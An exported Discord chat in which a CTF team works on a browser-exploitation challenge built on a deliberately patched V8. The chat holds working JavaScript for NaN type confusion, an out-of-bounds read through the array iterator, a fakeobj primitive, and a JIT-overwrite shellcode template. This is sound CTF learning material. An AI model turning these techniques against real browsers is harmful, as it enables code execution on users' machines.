Guild icon
Project Sekai
🔒 CrewCTF 2023 / ❌-pwn-typer
Avatar
Typer - 1000 points
Category: Pwn Description: I hope this chall make you learn something new, this is good for an introduction into browser exploitation Author : Linz nc typer.chal.crewc.tf 17004 Files:Tags: No tags.
Sutx pinned a message to this channel. 07/07/2023 10:02 PM
Avatar
@snwo wants to collaborate 🤝
Avatar
diff --git a/src/compiler/js-call-reducer.cc b/src/compiler/js-call-reducer.cc index 1a1f2b59183..a22530094f7 100644 --- a/src/compiler/js-call-reducer.cc +++ b/src/compiler/js-call-reducer.cc @@ -6370,9 +6370,9 @@ Reduction JSCallReducer::ReduceArrayIteratorPrototypeNext(Node* node) { // This extra check exists to refine the type of {index} but also to break // an exploitation technique that abuses typer mismatches. index = etrue = graph()->NewNode( - simplified()->CheckBounds(p.feedback(), - CheckBoundsFlag::kAbortOnOutOfBounds), - index, length, etrue, if_true); + common()->TypeGuard( + Type::Range(0.0, length_access.type.Max() - 1.0, graph()->zone())), + index, etrue, if_true); done_true = jsgraph()->FalseConstant(); if (iteration_kind == IterationKind::kKeys) { diff --git a/src/compiler/operation-typer.cc b/src/compiler/operation-typer.cc index bd57b79ed49..154ace2450e 100644 --- a/src/compiler/operation-typer.cc +++ b/src/compiler/operation-typer.cc @@ -363,7 +363,7 @@ Type OperationTyper::NumberAbs(Type type) { type = Type::Union(type, cache_->kSingletonZero, zone()); } if (maybe_nan) { - type = Type::Union(type, Type::NaN(), zone()); + type = Type::PlainNumber(); } return type; }
Avatar
@nyancat0131 wants to collaborate 🤝
Avatar
v8 version 11.6.0
22:39
should overwrite jit addr
Avatar
nice
Avatar
@Zafirr wants to collaborate 🤝
Avatar
var buf = new ArrayBuffer(8); var f64_buf = new Float64Array(buf); var u64_buf = new Uint32Array(buf); function ftoi(val) { f64_buf[0] = val; return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); }; function itof(val) { u64_buf[0] = Number(val & 0xffffffffn); u64_buf[1] = Number(val >> 32n); return f64_buf[0]; }; function hex(val) { return val.toString(16); }; const shsh = () => { return [1.0, 1.95538254221075331056310651818E-246, 1.95606125582421466942709801013E-246, 1.99957147195425773436923756715E-246, 1.95337673326740932133292175341E-246, 2.63486047652296056448306022844E-284]; } for (let i = 0; i < 0x10000; i++) { shsh(); } const f = () => 123; var oob = undefined; var o = undefined; var ua = undefined function foo(b) { let c = String.fromCharCode(65); let ar1 = [1.1, 2.2, 3.3, 4.4, 5.5]; let o2 = { x: 0x1337, a: shsh, b: f }; let ua2 = new Uint32Array(2); // let ar2 = [{c:1}]; // let ar3 = [3.3,3.3,3.3,3.3,3.3]; var x = 0; var y = -0x80000000; if (b) { x = -1; y = 1; } var i = x - y; i += 1; i = Math.max(i, 0x80000000 - 5) i -= 0x80000000 i -= 1 i *= -1 ar1[i] = itof((ftoi(ar1[i]) & 0xffffffffn) | 0x10000000000n); oob = ar1; o = o2; ua = ua2; return 1; }; const __buf8 = new ArrayBuffer(8); const __dvCvt = new DataView(__buf8); function d2u(val) { //double ==> Uint64 __dvCvt.setFloat64(0, val, true); return __dvCvt.getUint32(0, true) + __dvCvt.getUint32(4, true) * 0x100000000; } function u2d(val) { //Uint64 ==> double const tmp0 = val % 0x100000000; __dvCvt.setUint32(0, tmp0, true); __dvCvt.setUint32(4, (val - tmp0) / 0x100000000, true); return __dvCvt.getFloat64(0, true); } function d22u(val) { //double ==> 2 * Uint32 __dvCvt.setFloat64(0, val, true); } for (let i = 0; i != 0x10000; i++) { foo(0); }; foo(1); console.log(oob.length) d22u(oob[9]); const fooAddr = __dvCvt.getUint32(0, true); const fAddr = __dvCvt.getUint32(4, true); console.log(hex(fooAddr)); console.log(hex(fAddr)); function readOff(off) { oob[26] = u2d((off-7) * 0x100000000); return ua[0]; } function writeOff(off, val) { oob[26] = u2d((off-7) * 0x100000000); ua[0] = val; } // %DebugPrint(oob); console.log("[+] overwriting jit..."); jitAddr = readOff(fooAddr + 0x17); console.log(hex(jitAddr)); rwx_low = readOff(jitAddr+7); console.log(hex(rwx_low)); writeOff(jitAddr+7,rwx_low+0x6f); // local // writeOff(jitAddr+7,rwx_low+0x78); // remote console.log("[+] /bin/sh"); shsh();
Avatar
@Surg wants to collaborate 🤝
Avatar
template code to overwrite JIT address in other challenge, work on 11.2
22:53
I think it also work just changing the oob trigger function
Avatar
@IceCreamMan wants to collaborate 🤝
Avatar
@Violin wants to collaborate 🤝
Avatar
@retr0 wants to collaborate 🤝
Avatar
IceCreamMan 07/08/2023 6:40 AM
diff --git a/src/compiler/js-call-reducer.cc b/src/compiler/js-call-reducer.cc index 5e26a68ada..a3638ef5b3 100644 --- a/src/compiler/js-call-reducer.cc +++ b/src/compiler/js-call-reducer.cc @@ -6260,12 +6260,11 @@ Reduction JSCallReducer::ReduceArrayIteratorPrototypeNext(Node* node) { Node* etrue = effect; Node* if_true = graph()->NewNode(commo...
06:40
its very similar to this challenge..
Avatar
nyancat0131 07/08/2023 6:44 AM
Bruh damn
Avatar
nyancat0131 07/08/2023 8:53 AM
lol this problem is NaN type confusion again which I met in a JSC ITW bug but as before i don't know how to trigger OOB with it function foo(x) { return isNaN(Math.abs(x)); } foo(NaN); for (let i = 0; i < 100000; ++i) foo(NaN); console.log(foo(NaN));
08:53
maybe @IceCreamMan can do it
08:53
msfrog
08:54
i give up
Avatar
maybe icecreamman can finish msfrog
Avatar
nyancat0131 07/08/2023 9:20 AM
i hope there will be wu after finish
09:21
cuz i want to see how to trigger side effect to do oob when the check is false but not true like other writeups
09:21
msfrog
Avatar
IceCreamMan 07/08/2023 9:21 AM
😢
Avatar
Avatar
nyancat0131
lol this problem is NaN type confusion again which I met in a JSC ITW bug but as before i don't know how to trigger OOB with it function foo(x) { return isNaN(Math.abs(x)); } foo(NaN); for (let i = 0; i < 100000; ++i) foo(NaN); console.log(foo(NaN));
IceCreamMan 07/08/2023 9:22 AM
yeah i have this too but i cant trigger oob with array iterator next
09:22
function foo(a,v){ var wt= "exist ".indexOf(a); wt = wt + 1; wt= wt*0x20//real : 0, opt : big num wt+=1//avoid 0x0800222d = FixedArray[0] var arr = new Array(wt); // arr[1]=1.1 var fake = new Array(0x10); for(var j =0;j<0xf;j++){ fake[j]=v;//spray.element ptr } var oob = arr[Symbol.iterator](); oob.next(); oob.next(); oob.next(); oob.next(); oob.next(); oob.next(); oob.next(); oob.next(); oob.next(); oob.next(); return oob.next(); } This worked in my previous solution for asis quals, but doesnt now
09:23
Mine was something like this, but this didnt work too function foo(b, obj){ let a = "aaaaa"; //actual = -1 let result = a.indexOf(b); //actual = -1, typer = [4, 536870888] result = Math.max(result, 536870887); //actual = -1, typer = [0, 1023] result >>= 0x13; result += 2; //actual = 1, typer think its 0 let arr = Array(result); arr[0] = 1.1; let cor = [1.1, obj] //iterator typer thinks he created a very big array //but the actual array created only have size of 1 let itx = arr.values(); itx.next(); itx.next(); let leak = itx.next().value; let leak2 = itx.next().value; return [arr, itx, cor, leak, leak2]; }
Avatar
Avatar
IceCreamMan
function foo(a,v){ var wt= "exist ".indexOf(a); wt = wt + 1; wt= wt*0x20//real : 0, opt : big num wt+=1//avoid 0x0800222d = FixedArray[0] var arr = new Array(wt); // arr[1]=1.1 var fake = new Array(0x10); for(var j =0;j<0xf;j++){ fake[j]=v;//spray.element ptr } var oob = arr[Symbol.iterator](); oob.next(); oob.next(); oob.next(); oob.next(); oob.next(); oob.next(); oob.next(); oob.next(); oob.next(); oob.next(); return oob.next(); } This worked in my previous solution for asis quals, but doesnt now
IceCreamMan 07/08/2023 9:23 AM
this was from the https://jjy-security.tistory.com/93 writeup
diff --git a/src/compiler/js-call-reducer.cc b/src/compiler/js-call-reducer.cc index 5e26a68ada..a3638ef5b3 100644 --- a/src/compiler/js-call-reducer.cc +++ b/src/compiler/js-call-reducer.cc @@ -6260,12 +6260,11 @@ Reduction JSCallReducer::ReduceArrayIteratorPrototypeNext(Node* node) { Node* etrue = effect; Node* if_true = graph()->NewNode(commo...
Avatar
nyancat0131 07/08/2023 9:24 AM
there're very few wu about abusing NaN confusion...
Avatar
IceCreamMan 07/08/2023 9:50 AM
This is part 2 of a 6-part series detailing a set of vulnerabilities found by Project Zero being exploited in the wild. To read the other pa...
09:51
hmm i wonder if isNaN is the problem
Avatar
nyancat0131 07/08/2023 9:51 AM
note that sometimes isNaN generates different nodes than Object.is
09:51
at least on JSC
09:51
i havent examine the node tree of v8
09:52
maybe can try object.is with escape analysis?
Avatar
Avatar
nyancat0131
note that sometimes isNaN generates different nodes than Object.is
nyancat0131 07/08/2023 9:52 AM
i mean the optimization could be different, and the code can even be killed by DCE
09:55
also, maybe we can explore on how Math.abs can be used directly without isNaN related check
09:55
like implying the range somehow...
09:55
but i dunno how
09:56
or maybe can check if type is 'number'
09:57
there are many ways but i dunno which one is right polded
Avatar
Avatar
nyancat0131
i mean the optimization could be different, and the code can even be killed by DCE
yeah i was thinking its may be due to DCE
10:04
- Replacement of #110: SpeculativeToNumber[NumberOrOddball, FeedbackSource(#6)](109, 13, 7) with #109: NumberConstant[nan] by reducer TypedOptimization - Replacement of #111: NumberAbs(109) with #109: NumberConstant[nan] by reducer SimplifiedOperatorReducer - Replacement of #113: SpeculativeToNumber[NumberOrOddball, FeedbackSource(#10)](109, 13, 7) with #109: NumberConstant[nan] by reducer TypedOptimization - Replacement of #114: NumberIsNaN(109) with #148: HeapConstant[0x28e100000dd5 <false>] by reducer ConstantFoldingReducer
10:04
if you run with --trace-turbo-reduction
Avatar
no idea, going to sleep 😦
Avatar
@Piers wants to collaborate 🤝
Avatar
Hi Piers, TypeGuard don’t really check bounds
23:43
I have no idea what it does lol
23:44
Need to find the array iterator patch
23:44
I think the problem with NaN confusion is that IsNaN will constant fold (edited)
Avatar
Avatar
IceCreamMan
Hi Piers, TypeGuard don’t really check bounds
i thought so
23:45
but when i tried with an in range array access
23:45
the checkbound never got eliminated
Avatar
Oh
Avatar
it made me thought that the provided d8 is wrong
Avatar
I think the check bounds may be eliminated when the range is constant
23:47
I saw your graph in the general chat
23:48
This is part 2 of a 6-part series detailing a set of vulnerabilities found by Project Zero being exploited in the wild. To read the other pa...
23:48
it still doesnt
Avatar
Oh
23:48
In the simplified lowering stage?
23:48
23:48
Avatar
Hmmm
Avatar
idk if i misunderstand the patch
Avatar
The patch is about array iterator
23:50
The [@@iterator]() method of Array instances implements the iterable protocol and allows arrays to be consumed by most syntaxes expecting iterables, such as the spread syntax and for...of loops. It returns an array iterator object that yields the value of each index in the array.
23:50
I did see a TypeGuard being produced rather than a checkbounds when I use the iterator above
Avatar
oh yeah its iterator
23:52
i thought it was general array access case
Avatar
Avatar
nyancat0131
lol this problem is NaN type confusion again which I met in a JSC ITW bug but as before i don't know how to trigger OOB with it function foo(x) { return isNaN(Math.abs(x)); } foo(NaN); for (let i = 0; i < 100000; ++i) foo(NaN); console.log(foo(NaN));
Yeah and the vuln is in the Math.abs. So it actually miss the NaN case and isNaN returns a wrong result
Avatar
Avatar
IceCreamMan
- Replacement of #110: SpeculativeToNumber[NumberOrOddball, FeedbackSource(#6)](109, 13, 7) with #109: NumberConstant[nan] by reducer TypedOptimization - Replacement of #111: NumberAbs(109) with #109: NumberConstant[nan] by reducer SimplifiedOperatorReducer - Replacement of #113: SpeculativeToNumber[NumberOrOddball, FeedbackSource(#10)](109, 13, 7) with #109: NumberConstant[nan] by reducer TypedOptimization - Replacement of #114: NumberIsNaN(109) with #148: HeapConstant[0x28e100000dd5 <false>] by reducer ConstantFoldingReducer
But isNaN seems to be folded into a constant (false) here which stops the propagation of error to the iterator (I am guessing)
Avatar
Which may explain why Google project zero didn’t exploit it with isNaN
Avatar
maybe we can avoid folded constant through escape analysis
Avatar
Avatar
Piers
maybe we can avoid folded constant through escape analysis
Yeah ohhhh that’s possible
23:55
If you set the value to a global?
Avatar
i did avoid the folded
Avatar
Oh nice!
Avatar
Avatar
IceCreamMan
this was from the https://jjy-security.tistory.com/93 writeup
Then this may help
Avatar
Avatar
IceCreamMan
Mine was something like this, but this didnt work too function foo(b, obj){ let a = "aaaaa"; //actual = -1 let result = a.indexOf(b); //actual = -1, typer = [4, 536870888] result = Math.max(result, 536870887); //actual = -1, typer = [0, 1023] result >>= 0x13; result += 2; //actual = 1, typer think its 0 let arr = Array(result); arr[0] = 1.1; let cor = [1.1, obj] //iterator typer thinks he created a very big array //but the actual array created only have size of 1 let itx = arr.values(); itx.next(); itx.next(); let leak = itx.next().value; let leak2 = itx.next().value; return [arr, itx, cor, leak, leak2]; }
Or this haha. The itx.next should return some leaks at least
23:56
I am out now sadly 🤣
Avatar
nevermind
00:37
i thought before escape analysis the value is non-determined
Avatar
@4n0nym4u5 wants to collaborate 🤝
02:04
just came to drop this
Avatar
got some progress
Avatar
This is part 2 of a 6-part series detailing a set of vulnerabilities found by Project Zero being exploited in the wild. To read the other pa...
04:02
04:03
i think i can get oob
04:03
but i dont ever exploit v8...
Avatar
nyancat0131 07/09/2023 4:08 AM
👀
04:08
can share code?
04:09
function foo(x) { let a = Math.abs(x); let b = Math.ceil(a); let i = Math.abs(b); i = Math.max(i, 0x100000800); i = Math.min(0x100000801, i); i -= 0x1000007fa; return i; } for(let i = 0; i < 100000; i++){ foo(NaN); } console.log(foo(NaN));
04:10
with range mismatch someone should try to exploit it
Avatar
hmm shift doesn't work
Avatar
yeah i dont know why shift fail
04:20
but dont think its necessary
Avatar
... NaN undefined NaN undefined NaN undefined 2050 undefined ... 2050 undefined [1] 47656 trace trap ./d8 ex.js
04:44
weird..
Avatar
seems to be fine for me
06:05
but i dont know v8 internal to fully exploit it msfrog
Avatar
idk why trace trap, not access error
06:07
also tried to make a new Array, trapped (edited)
Avatar
idk it just some problem when the script finish running
06:07
i just add shell arg to debug from there
Avatar
@IceCreamMan do you have any v8 exploit?
Avatar
I uploaded exploit that works in v8 version 11.2
06:44
just change oob trigger
Avatar
Avatar
Piers
@IceCreamMan do you have any v8 exploit?
IceCreamMan 07/09/2023 6:47 AM
I don’t have a generic one. Which stage are you at now?
06:48
Does iterator.next.value leak any value?
Avatar
Avatar
IceCreamMan
Does iterator.next.value leak any value?
yeah it leaks some
06:51
Avatar
IceCreamMan 07/09/2023 6:51 AM
I am not on my comp now. But the idea is use the iterator to fake a double array (edited)
06:52
So like allocate the OOB array, and allocate another array with fake map and values
Avatar
nyancat0131 07/09/2023 6:52 AM
[corrupt, array] like this?
Avatar
IceCreamMan 07/09/2023 6:52 AM
Then the iterator.value will index OOB into the fake array
06:52
And return a fake array with weird length
06:57
Let oob = new array(type value)
06:57
Let random_arr = [fake map, fake length]
06:58
Oob.iterator.next to index into the fake fake map and return that fake array with fake length (edited)
06:59
So sorry.. I am still out 🥲
Avatar
out at 10pm? 🤣
Avatar
IceCreamMan 07/09/2023 7:02 AM
Yeah.. rare occasion LOL
Avatar
i have to learn v8 :<
Avatar
Avatar
Piers
Click to see attachment 🖼️
IceCreamMan 07/09/2023 8:21 AM
can share the poc for this?
Avatar
Avatar
Piers
function foo(x) { let a = Math.abs(x); let b = Math.ceil(a); let i = Math.abs(b); i = Math.max(i, 0x100000800); i = Math.min(0x100000801, i); i -= 0x1000007fa; return i; } for(let i = 0; i < 100000; i++){ foo(NaN); } console.log(foo(NaN));
its just this one but i cannot resolve the trace/breakpoint trap issue
08:24
it works fine when you run with --shell and ret = foo(NaN)
08:25
even weirder
08:25
var buf = new ArrayBuffer(8); // 8 byte array buffer var f64_buf = new Float64Array(buf); var u64_buf = new Uint32Array(buf); function ftoi(val) { // typeof(val) = float f64_buf[0] = val; return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); // Watch for little endianness } function itof(val) { // typeof(val) = BigInt u64_buf[0] = Number(BigInt(val) & 0xffffffffn); u64_buf[1] = Number(BigInt(val) >> 32n); return f64_buf[0]; } function hex(val){ return "0x"+val.toString(16) } function foo(x) { let a = Math.abs(x); let b = Math.ceil(a); let i = Math.abs(b); i = Math.max(i, 0x100000800); i = Math.min(0x100000801, i); i -= 0x1000007fa; i += 2043; i >>= 1; i += 2; let arr = Array(i); arr[0] = 1.1; arr[1] = 1.1; var oob = arr[Symbol.iterator](); oob.next(); oob.next(); return [oob, oob.next().value]; } for(let i = 0; i < 90000; i++){ foo(NaN); } ret = foo(NaN); print(hex(ftoi(ret[1])));
08:26
this works when i attach gdb
Avatar
IceCreamMan 07/09/2023 8:31 AM
decrease the number of loops
08:31
for(let i = 0; i < 10000; i++){ foo(NaN); }
08:31
this works remote
08:32
weirdly lol
Avatar
yeah so fucking weird
08:32
but yeah thats oob
08:32
the leak ptr is probably map
Avatar
nyancat0131 07/09/2023 8:35 AM
whoa
Avatar
IceCreamMan 07/09/2023 9:53 AM
damn i think i am too late lol
09:53
just got oob
09:54
its ending in 5 minutes right?
Avatar
yeah
09:54
🤣
Avatar
IceCreamMan 07/09/2023 9:55 AM
DebugPrint: 0x268c0031a709: [JSArray] - map: 0x268c0018ece5 <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties] - prototype: 0x268c0018e705 <JSArray[0]> - elements: 0x268c0031a6e9 <JSArray[5]> [PACKED_DOUBLE_ELEMENTS] - length: 6144 - properties: 0x268c00000219 <FixedArray[0]> - All own properties (excluding elements): { 0x268c00000e0d: [String] in ReadOnlySpace: #length: 0x268c00144a45 <AccessorInfo name= 0x268c00000e0d <String[6]: #length>, data= 0x268c00000251 <undefined>> (const accessor descriptor), location: descriptor } - elements: 0x268c0031a6e9 <JSArray[5]> { 0: 2.12216e-313 1: 3.58485e-308 2: 2.122e-313 3: 1.13951e-311 4: 2.60751e-310 5: 1.3 6: 1.4 7: 1.5 8: 8.48798e-314 9: 1.31776e-311 10: 1.13951e-311 11: 8.48959e-314 12: 8.48798e-314 😦 my fake obj just got done
Avatar
i really need your full exploit script for learning purpose 🥹
09:56
i got stuck exploiting for more than 4 hours
Avatar
IceCreamMan 07/09/2023 9:57 AM
3.9 KB
09:57
sorry its in a messy state
09:58
function fakeobj(x, obj) { let a = Math.abs(x); let b = Math.ceil(a); let i = Math.abs(b); i = Math.max(i, 0x100000800); i = Math.min(0x100000801, i); i -= 0x1000007fa; i += 2043; i >>= 1; i += 2; let arr = Array(i); arr[0] = {}; arr[1] = 1.1; var cor = [1.2, obj, 1.2]; // obj here is a fake address var victim = [1.1, 1.2, 1.3, 1.4, 1.5] var oob = arr[Symbol.iterator](); oob.next(); // spam oob.next() to reach the fake address oob.next();oob.next();oob.next();oob.next();oob.next();oob.next();oob.next();oob.next();oob.next();oob.next();oob.next();oob.next();oob.next();oob.next();oob.next();oob.next(); let leak = oob.next().value; //let leak2 = oob.next().value; //let leak3 = oob.next().value; //let leak4 = oob.next().value; //let leak5 = oob.next().value; //let leak6 = oob.next().value; return [arr, oob, cor, leak, victim]; } I jitted this (edited)
Avatar
nyancat0131 07/09/2023 9:59 AM
nice try guys
Avatar
nice try, pretty sure we can do it if enough time
Avatar
Avatar
sahuang
nice try, pretty sure we can do it if enough time
If @IceCreamMan is less lazy then surely we can do
Avatar
he is out so cant do it
Avatar
Ohhh okkkk.
10:11
But he is always lazy 🤣 ik him
Avatar
man i should study browser exploit
Avatar
@Piers solve the hard part
Avatar
but i also want to learn crypto
Avatar
@IceCreamMan is it with the heap cage that heap randomization is so little?
Avatar
so much to learn so little time
Avatar
i found like address can be hardcoded lol
Avatar
Avatar
Piers
@IceCreamMan is it with the heap cage that heap randomization is so little?
what you mean by the heap randomization? you mean the fake map or you mean why objects are placed so linearly?
Avatar
Avatar
IceCreamMan
what you mean by the heap randomization? you mean the fake map or you mean why objects are placed so linearly?
yeah
10:12
and declared object seem to not move much
Avatar
oh the fake map is due to optimization, the maps are compiled into constants in snapshot_blob.bin
10:13
yeah declared objects are because of v8 stuff so they are pretty linear haha
Avatar
Avatar
IceCreamMan
yeah declared objects are because of v8 stuff so they are pretty linear haha
yeah i was surprised about this 😆
Avatar
@Piers strong i couldnt use the nan confusion lol
10:15
that was the hardest part lol
10:15
😢
Avatar
i got into the rabbit hole of Object.is for too long 😢
Avatar
yeah isNaN and object.is seems to fold into constants
Avatar
there is a way to make it not fold but i dont understand it clearly
Avatar
let a = Math.abs(x); let b = Math.ceil(a); let i = Math.abs(b); I still dk how this works, will figure out later lol (edited)
Avatar
oh thats because when i look into OperationTyper::NumberAbs i saw this: type = Type::Intersect(type, Type::PlainNumber(), zone()); if (!type.IsNone()) { double const max = type.Max(); double const min = type.Min(); if (min < 0) { if (type.Is(cache_.kInteger)) { type = Type::Range(0.0, std::max(std::fabs(min), std::fabs(max)), zone()); } else { type = Type::PlainNumber(); } } }
10:17
after the first abs it becomes plainnumber
10:17
so if type is integer it will return back a range of -inf, inf
10:18
and ceil turns plainnumber into kinteger
10:18
Type OperationTyper::NumberCeil(Type type) { DCHECK(type.Is(Type::Number())); if (type.Is(cache_.kIntegerOrMinusZeroOrNaN)) return type; type = Type::Intersect(type, Type::NaN(), zone()); type = Type::Union(type, cache_.kIntegerOrMinusZero, zone()); return type; }
10:18
after this it becomes actual = NaN, typer = [-inf, inf]
Avatar
oh
Avatar
which becomes the same case with that project zero blog
Avatar
Avatar
Piers
oh thats because when i look into OperationTyper::NumberAbs i saw this: type = Type::Intersect(type, Type::PlainNumber(), zone()); if (!type.IsNone()) { double const max = type.Max(); double const min = type.Min(); if (min < 0) { if (type.Is(cache_.kInteger)) { type = Type::Range(0.0, std::max(std::fabs(min), std::fabs(max)), zone()); } else { type = Type::PlainNumber(); } } }
the first number.abs enter the else branch, then the second enter the if branch?
Avatar
the first one doesnt enter the else branch
10:19
it becomes plainnumber due to patch
10:19
if (maybe_nan) {
  • type = Type::Union(type, Type::NaN(), zone());
+ type = Type::PlainNumber(); }
Avatar
oh ok!
10:19
i see
10:20
wow nice
10:20
god
🫠 1
Avatar
god
10:22
pwn2own chain soon
Avatar
i misunderstood a little bit, the second abs isnt necessary, after ceil it becomes [-inf, +inf] already (black magic, i dont know why) (edited)
Avatar
Avatar
IceCreamMan
pwn2own chain soon
v8 still too hard 😢
Avatar
Avatar
Piers
i misunderstood a little bit, the second abs isnt necessary, after ceil it becomes [-inf, +inf] already (black magic, i dont know why) (edited)
LOL argh
10:26
ok time to sleep
10:26
🤣
Avatar
v8 requires a phd to understand peepoo
Avatar
too strong
Avatar
full chain soon
Exported 214 message(s)